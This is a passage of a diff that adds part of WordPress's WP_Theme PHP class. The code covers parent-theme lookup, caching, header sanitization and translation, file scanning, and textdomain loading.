+		if ( ! is_array( $cache ) && $this->template != $this->stylesheet && ! file_exists( $this->theme_root . '/' . $this->template . '/index.php' ) ) {
+			// If we're in a directory of themes inside /themes, look for the parent nearby.
+			// wp-content/themes/directory-of-themes/*
+			$parent_dir = dirname( $this->stylesheet );
+			if ( '.' != $parent_dir && file_exists( $this->theme_root . '/' . $parent_dir . '/' . $this->template . '/index.php' ) ) {
+				$this->template = $parent_dir . '/' . $this->template;
+			} elseif ( ( $directories = search_theme_directories() ) && isset( $directories[ $this->template ] ) ) {
+				// Look for the template in the search_theme_directories() results, in case it is in another theme root.
+				// We don't look into directories of themes, just the theme root.
+				$theme_root_template = $directories[ $this->template ]['theme_root'];
+			} else {
+				// Parent theme is missing.
+				$this->errors = new WP_Error( 'theme_no_parent', sprintf( __( 'The parent theme is missing. Please install the "%s" parent theme.' ), esc_html( $this->template ) ) );
+				$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+				$this->parent = new WP_Theme( $this->template, $this->theme_root, $this );
+				return;
+			}
+		}
+
+		// Set the parent, if we're a child theme.
+		if ( $this->template != $this->stylesheet ) {
+			// If we are a parent, then there is a problem. Only two generations allowed! Cancel things out.
+			if ( $_child instanceof WP_Theme && $_child->template == $this->stylesheet ) {
+				$_child->parent = null;
+				$_child->errors = new WP_Error( 'theme_parent_invalid', sprintf( __( 'The "%s" theme is not a valid parent theme.' ), esc_html( $_child->template ) ) );
+				$_child->cache_add( 'theme', array( 'headers' => $_child->headers, 'errors' => $_child->errors, 'stylesheet' => $_child->stylesheet, 'template' => $_child->template ) );
+				// The two themes actually reference each other with the Template header.
+				if ( $_child->stylesheet == $this->template ) {
+					$this->errors = new WP_Error( 'theme_parent_invalid', sprintf( __( 'The "%s" theme is not a valid parent theme.' ), esc_html( $this->template ) ) );
+					$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+				}
+				return;
+			}
+			// Set the parent. Pass the current instance so we can do the crazy checks above and assess errors.
+			$this->parent = new WP_Theme( $this->template, isset( $theme_root_template ) ? $theme_root_template : $this->theme_root, $this );
+		}
+
+		// We're good. If we didn't retrieve from cache, set it.
+		if ( ! is_array( $cache ) ) {
+			$cache = array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template );
+			// If the parent theme is in another root, we'll want to cache this. Avoids an entire branch of filesystem calls above.
+			if ( isset( $theme_root_template ) )
+				$cache['theme_root_template'] = $theme_root_template;
+			$this->cache_add( 'theme', $cache );
+		}
+	}
+
+	/**
+	 * When converting the object to a string, the theme name is returned.
+	 *
+	 * @since  3.4.0
+	 *
+	 * @return string Theme name, ready for display (translated)
+	 */
+	public function __toString() {
+		return (string) $this->display('Name');
+	}
+
+	/**
+	 * __isset() magic method for properties formerly returned by current_theme_info()
+	 *
+	 * @staticvar array $properties
+	 *
+	 * @since  3.4.0
+	 *
+	 * @param string $offset Property to check if set.
+	 * @return bool Whether the given property is set.
+	 */
+	public function __isset( $offset ) {
+		static $properties = array(
+			'name', 'title', 'version', 'parent_theme', 'template_dir', 'stylesheet_dir', 'template', 'stylesheet',
+			'screenshot', 'description', 'author', 'tags', 'theme_root', 'theme_root_uri',
+		);
+
+		return in_array( $offset, $properties );
+	}
+
+	/**
+	 * __get() magic method for properties formerly returned by current_theme_info()
+	 *
+	 * @since  3.4.0
+	 *
+	 * @param string $offset Property to get.
+	 * @return mixed Property value.
+	 */
+	public function __get( $offset ) {
+		switch ( $offset ) {
+			case 'name' :
+			case 'title' :
+				return $this->get('Name');
+			case 'version' :
+				return $this->get('Version');
+			case 'parent_theme' :
+				return $this->parent() ? $this->parent()->get('Name') : '';
+			case 'template_dir' :
+				return $this->get_template_directory();
+			case 'stylesheet_dir' :
+				return $this->get_stylesheet_directory();
+			case 'template' :
+				return $this->get_template();
+			case 'stylesheet' :
+				return $this->get_stylesheet();
+			case 'screenshot' :
+				return $this->get_screenshot( 'relative' );
+			// 'author' and 'description' did not previously return translated data.
+			case 'description' :
+				return $this->display('Description');
+			case 'author' :
+				return $this->display('Author');
+			case 'tags' :
+				return $this->get( 'Tags' );
+			case 'theme_root' :
+				return $this->get_theme_root();
+			case 'theme_root_uri' :
+				return $this->get_theme_root_uri();
+			// For cases where the array was converted to an object.
+			default :
+				return $this->offsetGet( $offset );
+		}
+	}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
+	 *
+	 * @since  3.4.0
+	 *
+	 * @param mixed $offset
+	 * @param mixed $value
+	 */
+	public function offsetSet( $offset, $value ) {}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
+	 *
+	 * @since  3.4.0
+	 *
+	 * @param mixed $offset
+	 */
+	public function offsetUnset( $offset ) {}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
+	 *
+	 * @staticvar array $keys
+	 *
+	 * @since  3.4.0
+	 *
+	 * @param mixed $offset
+	 * @return bool
+	 */
+	public function offsetExists( $offset ) {
+		static $keys = array(
+			'Name', 'Version', 'Status', 'Title', 'Author', 'Author Name', 'Author URI', 'Description',
+			'Template', 'Stylesheet', 'Template Files', 'Stylesheet Files', 'Template Dir', 'Stylesheet Dir',
+			'Screenshot', 'Tags', 'Theme Root', 'Theme Root URI', 'Parent Theme',
+		);
+
+		return in_array( $offset, $keys );
+	}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes().
+	 *
+	 * Author, Author Name, Author URI, and Description did not previously return
+	 * translated data. We are doing so now as it is safe to do. However, as
+	 * Name and Title could have been used as the key for get_themes(), both remain
+	 * untranslated for back compatibility. This means that ['Name'] is not ideal,
+	 * and care should be taken to use `$theme::display( 'Name' )` to get a properly
+	 * translated header.
+	 *
+	 * @since  3.4.0
+	 *
+	 * @param mixed $offset
+	 * @return mixed
+	 */
+	public function offsetGet( $offset ) {
+		switch ( $offset ) {
+			case 'Name' :
+			case 'Title' :
+				/*
+				 * See note above about using translated data. get() is not ideal.
+				 * It is only for backward compatibility. Use display().
+				 */
+				return $this->get('Name');
+			case 'Author' :
+				return $this->display( 'Author');
+			case 'Author Name' :
+				return $this->display( 'Author', false);
+			case 'Author URI' :
+				return $this->display('AuthorURI');
+			case 'Description' :
+				return $this->display( 'Description');
+			case 'Version' :
+			case 'Status' :
+				return $this->get( $offset );
+			case 'Template' :
+				return $this->get_template();
+			case 'Stylesheet' :
+				return $this->get_stylesheet();
+			case 'Template Files' :
+				return $this->get_files( 'php', 1, true );
+			case 'Stylesheet Files' :
+				return $this->get_files( 'css', 0, false );
+			case 'Template Dir' :
+				return $this->get_template_directory();
+			case 'Stylesheet Dir' :
+				return $this->get_stylesheet_directory();
+			case 'Screenshot' :
+				return $this->get_screenshot( 'relative' );
+			case 'Tags' :
+				return $this->get('Tags');
+			case 'Theme Root' :
+				return $this->get_theme_root();
+			case 'Theme Root URI' :
+				return $this->get_theme_root_uri();
+			case 'Parent Theme' :
+				return $this->parent() ? $this->parent()->get('Name') : '';
+			default :
+				return null;
+		}
+	}
+
+	/**
+	 * Returns errors property.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return WP_Error|false WP_Error if there are errors, or false.
+	 */
+	public function errors() {
+		return is_wp_error( $this->errors ) ? $this->errors : false;
+	}
+
+	/**
+	 * Whether the theme exists.
+	 *
+	 * A theme with errors exists. A theme with the error of 'theme_not_found',
+	 * meaning that the theme's directory was not found, does not exist.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool Whether the theme exists.
+	 */
+	public function exists() {
+		return ! ( $this->errors() && in_array( 'theme_not_found', $this->errors()->get_error_codes() ) );
+	}
+
+	/**
+	 * Returns reference to the parent theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return WP_Theme|false Parent theme, or false if the current theme is not a child theme.
+	 */
+	public function parent() {
+		return isset( $this->parent ) ? $this->parent : false;
+	}
+
+	/**
+	 * Perform reinitialization tasks.
+	 *
+	 * Prevents a callback from being injected during unserialization of an object.
+	 *
+	 * @return void
+	 */
+	public function __wakeup() {
+		if ( $this->parent && ! $this->parent instanceof self ) {
+			throw new UnexpectedValueException();
+		}
+		if ( $this->headers && ! is_array( $this->headers ) ) {
+			throw new UnexpectedValueException();
+		}
+		foreach ( $this->headers as $value ) {
+			if ( ! is_string( $value ) ) {
+				throw new UnexpectedValueException();
+			}
+		}
+		$this->headers_sanitized = array();
+	}
+
+	/**
+	 * Adds theme data to cache.
+	 *
+	 * Cache entries keyed by the theme and the type of data.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $key Type of data to store (theme, screenshot, headers, post_templates)
+	 * @param string $data Data to store
+	 * @return bool Return value from wp_cache_add()
+	 */
+	private function cache_add( $key, $data ) {
+		return wp_cache_add( $key . '-' . $this->cache_hash, $data, 'themes', self::$cache_expiration );
+	}
+
+	/**
+	 * Gets theme data from cache.
+	 *
+	 * Cache entries are keyed by the theme and the type of data.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $key Type of data to retrieve (theme, screenshot, headers, post_templates)
+	 * @return mixed Retrieved data
+	 */
+	private function cache_get( $key ) {
+		return wp_cache_get( $key . '-' . $this->cache_hash, 'themes' );
+	}
+
+	/**
+	 * Clears the cache for the theme.
+	 *
+	 * @since 3.4.0
+	 */
+	public function cache_delete() {
+		foreach ( array( 'theme', 'screenshot', 'headers', 'post_templates' ) as $key )
+			wp_cache_delete( $key . '-' . $this->cache_hash, 'themes' );
+		$this->template = $this->textdomain_loaded = $this->theme_root_uri = $this->parent = $this->errors = $this->headers_sanitized = $this->name_translated = null;
+		$this->headers = array();
+		$this->__construct( $this->stylesheet, $this->theme_root );
+	}
+
+	/**
+	 * Get a raw, unformatted theme header.
+	 *
+	 * The header is sanitized, but is not translated, and is not marked up for display.
+	 * To get a theme header for display, use the display() method.
+	 *
+	 * Use the get_template() method, not the 'Template' header, for finding the template.
+	 * The 'Template' header is only good for what was written in the style.css, while
+	 * get_template() takes into account where WordPress actually located the theme and
+	 * whether it is actually valid.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @return string|false String on success, false on failure.
+	 */
+	public function get( $header ) {
+		if ( ! isset( $this->headers[ $header ] ) )
+			return false;
+
+		if ( ! isset( $this->headers_sanitized ) ) {
+			$this->headers_sanitized = $this->cache_get( 'headers' );
+			if ( ! is_array( $this->headers_sanitized ) )
+				$this->headers_sanitized = array();
+		}
+
+		if ( isset( $this->headers_sanitized[ $header ] ) )
+			return $this->headers_sanitized[ $header ];
+
+		// If themes are a persistent group, sanitize everything and cache it. One cache add is better than many cache sets.
+		if ( self::$persistently_cache ) {
+			foreach ( array_keys( $this->headers ) as $_header )
+				$this->headers_sanitized[ $_header ] = $this->sanitize_header( $_header, $this->headers[ $_header ] );
+			$this->cache_add( 'headers', $this->headers_sanitized );
+		} else {
+			$this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );
+		}
+
+		return $this->headers_sanitized[ $header ];
+	}
+
+	/**
+	 * Gets a theme header, formatted and translated for display.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param bool $markup Optional. Whether to mark up the header. Defaults to true.
+	 * @param bool $translate Optional. Whether to translate the header. Defaults to true.
+	 * @return string|false Processed header, false on failure.
+	 */
+	public function display( $header, $markup = true, $translate = true ) {
+		$value = $this->get( $header );
+		if ( false === $value ) {
+			return false;
+		}
+
+		if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
+			$translate = false;
+
+		if ( $translate )
+			$value = $this->translate_header( $header, $value );
+
+		if ( $markup )
+			$value = $this->markup_header( $header, $value, $translate );
+
+		return $value;
+	}
+
+	/**
+	 * Sanitize a theme header.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @staticvar array $header_tags
+	 * @staticvar array $header_tags_with_a
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param string $value Value to sanitize.
+	 * @return mixed
+	 */
+	private function sanitize_header( $header, $value ) {
+		switch ( $header ) {
+			case 'Status' :
+				if ( ! $value ) {
+					$value = 'publish';
+					break;
+				}
+				// Fall through otherwise.
+			case 'Name' :
+				static $header_tags = array(
+					'abbr'    => array( 'title' => true ),
+					'acronym' => array( 'title' => true ),
+					'code'    => true,
+					'em'      => true,
+					'strong'  => true,
+				);
+				$value = wp_kses( $value, $header_tags );
+				break;
+			case 'Author' :
+				// There shouldn't be anchor tags in Author, but some themes like to be challenging.
+			case 'Description' :
+				static $header_tags_with_a = array(
+					'a'       => array( 'href' => true, 'title' => true ),
+					'abbr'    => array( 'title' => true ),
+					'acronym' => array( 'title' => true ),
+					'code'    => true,
+					'em'      => true,
+					'strong'  => true,
+				);
+				$value = wp_kses( $value, $header_tags_with_a );
+				break;
+			case 'ThemeURI' :
+			case 'AuthorURI' :
+				$value = esc_url_raw( $value );
+				break;
+			case 'Tags' :
+				$value = array_filter( array_map( 'trim', explode( ',', strip_tags( $value ) ) ) );
+				break;
+			case 'Version' :
+				$value = strip_tags( $value );
+				break;
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Mark up a theme header.
+	 *
+     * @since 3.4.0
+	 *
+	 * @staticvar string $comma
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param string $value Value to mark up.
+	 * @param string $translate Whether the header has been translated.
+	 * @return string Value, marked up.
+	 */
+	private function markup_header( $header, $value, $translate ) {
+		switch ( $header ) {
+			case 'Name' :
+				if ( empty( $value ) ) {
+					$value = esc_html( $this->get_stylesheet() );
+				}
+				break;
+			case 'Description' :
+				$value = wptexturize( $value );
+				break;
+			case 'Author' :
+				if ( $this->get('AuthorURI') ) {
+					$value = sprintf( '<a href="%1$s">%2$s</a>', $this->display( 'AuthorURI', true, $translate ), $value );
+				} elseif ( ! $value ) {
+					$value = __( 'Anonymous' );
+				}
+				break;
+			case 'Tags' :
+				static $comma = null;
+				if ( ! isset( $comma ) ) {
+					/* translators: used between list items, there is a space after the comma */
+					$comma = __( ', ' );
+				}
+				$value = implode( $comma, $value );
+				break;
+			case 'ThemeURI' :
+			case 'AuthorURI' :
+				$value = esc_url( $value );
+				break;
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Translate a theme header.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @staticvar array $tags_list
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param string $value Value to translate.
+	 * @return string Translated value.
+	 */
+	private function translate_header( $header, $value ) {
+		switch ( $header ) {
+			case 'Name' :
+				// Cached for sorting reasons.
+				if ( isset( $this->name_translated ) )
+					return $this->name_translated;
+				$this->name_translated = translate( $value, $this->get('TextDomain' ) );
+				return $this->name_translated;
+			case 'Tags' :
+				if ( empty( $value ) || ! function_exists( 'get_theme_feature_list' ) ) {
+					return $value;
+				}
+
+				static $tags_list;
+				if ( ! isset( $tags_list ) ) {
+					$tags_list = array(
+						// As of 4.6, deprecated tags which are only used to provide translation for older themes.
+						'black' => __( 'Black' ), 'blue' => __( 'Blue' ), 'brown'  => __( 'Brown' ),
+						'gray' => __( 'Gray' ), 'green'  => __( 'Green' ), 'orange' => __( 'Orange' ),
+						'pink' => __( 'Pink' ), 'purple' => __( 'Purple' ), 'red' => __( 'Red' ),
+						'silver' => __( 'Silver' ), 'tan' => __( 'Tan' ), 'white' => __( 'White' ),
+						'yellow' => __( 'Yellow' ), 'dark' => __( 'Dark' ), 'light' => __( 'Light' ),
+						'fixed-layout' => __( 'Fixed Layout' ), 'fluid-layout' => __( 'Fluid Layout' ),
+						'responsive-layout' => __( 'Responsive Layout' ), 'blavatar' => __( 'Blavatar' ),
+						'photoblogging' => __( 'Photoblogging' ), 'seasonal' => __( 'Seasonal' ),
+					);
+
+					$feature_list = get_theme_feature_list( false ); // No API
+					foreach ( $feature_list as $tags ) {
+						$tags_list += $tags;
+					}
+				}
+
+				foreach ( $value as &$tag ) {
+					if ( isset( $tags_list[ $tag ] ) ) {
+						$tag = $tags_list[ $tag ];
+					} elseif ( isset( self::$tag_map[ $tag ] ) ) {
+						$tag = $tags_list[ self::$tag_map[ $tag ] ];
+					}
+				}
+
+				return $value;
+
+			default :
+				$value = translate( $value, $this->get('TextDomain') );
+		}
+		return $value;
+	}
+
+	/**
+	 * The directory name of the theme's "stylesheet" files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is directory name of the child theme.
+	 * Otherwise, get_stylesheet() is the same as get_template().
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Stylesheet
+	 */
+	public function get_stylesheet() {
+		return $this->stylesheet;
+	}
+
+	/**
+	 * The directory name of the theme's "template" files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is the directory name of the parent theme.
+	 * Otherwise, the get_template() is the same as get_stylesheet().
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Template
+	 */
+	public function get_template() {
+		return $this->template;
+	}
+
+	/**
+	 * Returns the absolute path to the directory of a theme's "stylesheet" files.
+	 *
+	 * In the case of a child theme, this is the absolute path to the directory
+	 * of the child theme's files.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Absolute path of the stylesheet directory.
+	 */
+	public function get_stylesheet_directory() {
+		if ( $this->errors() && in_array( 'theme_root_missing', $this->errors()->get_error_codes() ) )
+			return '';
+
+		return $this->theme_root . '/' . $this->stylesheet;
+	}
+
+	/**
+	 * Returns the absolute path to the directory of a theme's "template" files.
+	 *
+	 * In the case of a child theme, this is the absolute path to the directory
+	 * of the parent theme's files.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Absolute path of the template directory.
+	 */
+	public function get_template_directory() {
+		if ( $this->parent() )
+			$theme_root = $this->parent()->theme_root;
+		else
+			$theme_root = $this->theme_root;
+
+		return $theme_root . '/' . $this->template;
+	}
+
+	/**
+	 * Returns the URL to the directory of a theme's "stylesheet" files.
+	 *
+	 * In the case of a child theme, this is the URL to the directory of the
+	 * child theme's files.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string URL to the stylesheet directory.
+	 */
+	public function get_stylesheet_directory_uri() {
+		return $this->get_theme_root_uri() . '/' . str_replace( '%2F', '/', rawurlencode( $this->stylesheet ) );
+	}
+
+	/**
+	 * Returns the URL to the directory of a theme's "template" files.
+	 *
+	 * In the case of a child theme, this is the URL to the directory of the
+	 * parent theme's files.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string URL to the template directory.
+	 */
+	public function get_template_directory_uri() {
+		if ( $this->parent() )
+			$theme_root_uri = $this->parent()->get_theme_root_uri();
+		else
+			$theme_root_uri = $this->get_theme_root_uri();
+
+		return $theme_root_uri . '/' . str_replace( '%2F', '/', rawurlencode( $this->template ) );
+	}
+
+	/**
+	 * The absolute path to the directory of the theme root.
+	 *
+	 * This is typically the absolute path to wp-content/themes.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Theme root.
+	 */
+	public function get_theme_root() {
+		return $this->theme_root;
+	}
+
+	/**
+	 * Returns the URL to the directory of the theme root.
+	 *
+	 * This is typically the absolute URL to wp-content/themes. This forms the basis
+	 * for all other URLs returned by WP_Theme, so we pass it to the public function
+	 * get_theme_root_uri() and allow it to run the {@see 'theme_root_uri'} filter.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Theme root URI.
+	 */
+	public function get_theme_root_uri() {
+		if ( ! isset( $this->theme_root_uri ) )
+			$this->theme_root_uri = get_theme_root_uri( $this->stylesheet, $this->theme_root );
+		return $this->theme_root_uri;
+	}
+
+	/**
+	 * Returns the main screenshot file for the theme.
+	 *
+	 * The main screenshot is called screenshot.png. gif and jpg extensions are also allowed.
+	 *
+	 * Screenshots for a theme must be in the stylesheet directory. (In the case of child
+	 * themes, parent theme screenshots are not inherited.)
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $uri Type of URL to return, either 'relative' or an absolute URI. Defaults to absolute URI.
+	 * @return string|false Screenshot file. False if the theme does not have a screenshot.
+	 */
+	public function get_screenshot( $uri = 'uri' ) {
+		$screenshot = $this->cache_get( 'screenshot' );
+		if ( $screenshot ) {
+			if ( 'relative' == $uri )
+				return $screenshot;
+			return $this->get_stylesheet_directory_uri() . '/' . $screenshot;
+		} elseif ( 0 === $screenshot ) {
+			return false;
+		}
+
+		foreach ( array( 'png', 'gif', 'jpg', 'jpeg' ) as $ext ) {
+			if ( file_exists( $this->get_stylesheet_directory() . "/screenshot.$ext" ) ) {
+				$this->cache_add( 'screenshot', 'screenshot.' . $ext );
+				if ( 'relative' == $uri )
+					return 'screenshot.' . $ext;
+				return $this->get_stylesheet_directory_uri() . '/' . 'screenshot.' . $ext;
+			}
+		}
+
+		$this->cache_add( 'screenshot', 0 );
+		return false;
+	}
+
+	/**
+	 * Return files in the theme's directory.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $type Optional. Array of extensions to return. Defaults to all files (null).
+	 * @param int $depth Optional. How deep to search for files. Defaults to a flat scan (0 depth). -1 depth is infinite.
+	 * @param bool $search_parent Optional. Whether to return parent files. Defaults to false.
+	 * @return array Array of files, keyed by the path to the file relative to the theme's directory, with the values
+	 *               being absolute paths.
+	 */
+	public function get_files( $type = null, $depth = 0, $search_parent = false ) {
+		$files = (array) self::scandir( $this->get_stylesheet_directory(), $type, $depth );
+
+		if ( $search_parent && $this->parent() ) {
+			$files += (array) self::scandir( $this->get_template_directory(), $type, $depth );
+		}
+
+		return $files;
+	}
+
+	/**
+	 * Returns the theme's post templates.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Array of page templates, keyed by filename and post type,
+	 *               with the value of the translated header name.
+	 */
+	public function get_post_templates() {
+		// If you screw up your current theme and we invalidate your parent, most things still work. Let it slide.
+		if ( $this->errors() && $this->errors()->get_error_codes() !== array( 'theme_parent_invalid' ) ) {
+			return array();
+		}
+
+		$post_templates = $this->cache_get( 'post_templates' );
+
+		if ( ! is_array( $post_templates ) ) {
+			$post_templates = array();
+
+			$files = (array) $this->get_files( 'php', 1, true);
+
+			foreach ( $files as $file => $full_path ) {
+				if ( ! preg_match( '|Template Name:(.*)$|mi', file_get_contents( $full_path ), $header ) ) {
+					continue;
+				}
+
+				$types = array( 'page' );
+				if ( preg_match( '|Template Post Type:(.*)$|mi', file_get_contents( $full_path ), $type ) ) {
+					$types = explode( ',', _cleanup_header_comment( $type[1] ) );
+				}
+
+				foreach ( $types as $type ) {
+					$type = sanitize_key( $type );
+					if ( ! isset( $post_templates[ $type ] ) ) {
+						$post_templates[ $type ] = array();
+					}
+
+					$post_templates[ $type ][ $file ] = _cleanup_header_comment( $header[1] );
+				}
+			}
+
+			$this->cache_add( 'post_templates', $post_templates );
+		}
+
+		if ( $this->load_textdomain() ) {
+			foreach ( $post_templates as &$post_type ) {
+				foreach ( $post_type as &$post_template ) {
+					$post_template = $this->translate_header( 'Template Name', $post_template );
+				}
+			}
+		}
+
+		return $post_templates;
+	}
+
+	/**
+	 * Returns the theme's post templates for a given post type.
+	 *
+	 * @since 3.4.0
+	 * @since 4.7.0 Added the `$post_type` parameter.
+	 *
+	 * @param WP_Post|null $post      Optional. The post being edited, provided for context.
+	 * @param string       $post_type Optional. Post type to get the templates for. Default 'page'.
+	 *                                If a post is provided, its post type is used.
+	 * @return array Array of page templates, keyed by filename, with the value of the translated header name.
+	 */
+	public function get_page_templates( $post = null, $post_type = 'page' ) {
+		if ( $post ) {
+			$post_type = get_post_type( $post );
+		}
+
+		$post_templates = $this->get_post_templates();
+		$post_templates = isset( $post_templates[ $post_type ] ) ? $post_templates[ $post_type ] : array();
+
+		/**
+		 * Filters list of page templates for a theme.
+		 *
+		 * @since 4.9.6
+		 *
+		 * @param string[]     $post_templates Array of page templates. Keys are filenames,
+		 *                                     values are translated names.
+		 * @param WP_Theme     $this           The theme object.
+		 * @param WP_Post|null $post           The post being edited, provided for context, or null.
+		 * @param string       $post_type      Post type to get the templates for.
+		 */
+		$post_templates = (array) apply_filters( 'theme_templates', $post_templates, $this, $post, $post_type );
+
+		/**
+		 * Filters list of page templates for a theme.
+		 *
+		 * The dynamic portion of the hook name, `$post_type`, refers to the post type.
+		 *
+		 * @since 3.9.0
+		 * @since 4.4.0 Converted to allow complete control over the `$page_templates` array.
+		 * @since 4.7.0 Added the `$post_type` parameter.
+		 *
+		 * @param array        $post_templates Array of page templates. Keys are filenames,
+		 *                                     values are translated names.
+		 * @param WP_Theme     $this           The theme object.
+		 * @param WP_Post|null $post           The post being edited, provided for context, or null.
+		 * @param string       $post_type      Post type to get the templates for.
+		 */
+		$post_templates = (array) apply_filters( "theme_{$post_type}_templates", $post_templates, $this, $post, $post_type );
+
+		return $post_templates;
+	}
+
+	/**
+	 * Scans a directory for files of a certain extension.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @param string            $path          Absolute path to search.
+	 * @param array|string|null $extensions    Optional. Array of extensions to find, string of a single extension,
+	 *                                         or null for all extensions. Default null.
+	 * @param int               $depth         Optional. How many levels deep to search for files. Accepts 0, 1+, or
+	 *                                         -1 (infinite depth). Default 0.
+	 * @param string            $relative_path Optional. The basename of the absolute path. Used to control the
+	 *                                         returned path for the found files, particularly when this function
+	 *                                         recurses to lower depths. Default empty.
+	 * @return array|false Array of files, keyed by the path to the file relative to the `$path` directory prepended
+	 *                     with `$relative_path`, with the values being absolute paths. False otherwise.
+	 */
+	private static function scandir( $path, $extensions = null, $depth = 0, $relative_path = '' ) {
+		if ( ! is_dir( $path ) ) {
+			return false;
+		}
+
+		if ( $extensions ) {
+			$extensions = (array) $extensions;
+			$_extensions = implode( '|', $extensions );
+		}
+
+		$relative_path = trailingslashit( $relative_path );
+		if ( '/' == $relative_path ) {
+			$relative_path = '';
+		}
+
+		$results = scandir( $path );
+		$files = array();
+
+		/**
+		 * Filters the array of excluded directories and files while scanning theme folder.
+		 *
+		 * @since 4.7.4
+		 *
+		 * @param array $exclusions Array of excluded directories and files.
+		 */
+		$exclusions = (array) apply_filters( 'theme_scandir_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) );
+
+		foreach ( $results as $result ) {
+			if ( '.' == $result[0] || in_array( $result, $exclusions, true ) ) {
+				continue;
+			}
+			if ( is_dir( $path . '/' . $result ) ) {
+				if ( ! $depth ) {
+					continue;
+				}
+				$found = self::scandir( $path . '/' . $result, $extensions, $depth - 1 , $relative_path . $result );
+				$files = array_merge_recursive( $files, $found );
+			} elseif ( ! $extensions || preg_match( '~\.(' . $_extensions . ')$~', $result ) ) {
+				$files[ $relative_path . $result ] = $path . '/' . $result;
+			}
+		}
+
+		return $files;
+	}
+
+	/**
+	 * Loads the theme's textdomain.
+	 *
+	 * Translation files are not inherited from the parent theme. Todo: if this fails for the
+	 * child theme, it should probably try to load the parent theme's translations.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool True if the textdomain was successfully loaded or has already been loaded.
+	 * 	False if no textdomain was specified in the file headers, or if the domain could not be loaded.
+	 */
+	public function load_textdomain() {
+		if ( isset( $this->textdomain_loaded ) )
+			return $this->textdomain_loaded;
+
+		$textdomain = $this->get('TextDomain');
+		if ( ! $textdomain ) {
+			$this->textdomain_loaded = false;
+			return false;
+		}
+
+		if ( is_textdomain_loaded( $textdomain ) ) {
+			$this->textdomain_loaded = true;
+			return true;
+		}
+
+		$path = $this->get_stylesheet_directory();
+		if ( $domainpath = $this->get('DomainPath') )
+			$path .= $domainpath;
+		else
+			$path .= '/languages';
+
+		$this->textdomain_loaded = load_theme_textdomain( $textdomain, $path );
+		return $this->textdomain_loaded;
+	}
+
+	/**
+	 * Whether the theme is allowed (multisite only).
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $check Optional. Whether to check only the 'network'-wide settings, the 'site'
+	 * 	settings, or 'both'. Defaults to 'both'.
+	 * @param int $blog_id Optional. Ignored if only network-wide settings are checked. Defaults to current site.
+	 * @return bool Whether the theme is allowed for the network. Returns true in single-site.
+	 */
+	public function is_allowed( $check = 'both', $blog_id = null ) {
+		if ( ! is_multisite() )
+			return true;
+
+		if ( 'both' == $check || 'network' == $check ) {
+			$allowed = self::get_allowed_on_network();
+			if ( ! empty( $allowed[ $this->get_stylesheet() ] ) )
+				return true;
+		}
+
+		if ( 'both' == $check || 'site' == $check ) {
+			$allowed = self::get_allowed_on_site( $blog_id );
+			if ( ! empty( $allowed[ $this->get_stylesheet() ] ) )
+				return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Determines the latest WordPress default theme that is installed.
+	 *
+	 * This hits the filesystem.
+	 *
+	 * @since  4.4.0
+	 *
+	 * @return WP_Theme|false Object, or false if no theme is installed, which would be bad.
+	 */
+	public static function get_core_default_theme() {
+		foreach ( array_reverse( self::$default_themes ) as $slug => $name ) {
+			$theme = wp_get_theme( $slug );
+			if ( $theme->exists() ) {
+				return $theme;
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Returns array of stylesheet names of themes allowed on the site or network.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @param int $blog_id Optional. ID of the site. Defaults to the current site.
+	 * @return array Array of stylesheet names.
+	 */
+	public static function get_allowed( $blog_id = null ) {
+		/**
+		 * Filters the array of themes allowed on the network.
+		 *
+		 * Site is provided as context so that a list of network allowed themes can
+		 * be filtered further.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param array $allowed_themes An array of theme stylesheet names.
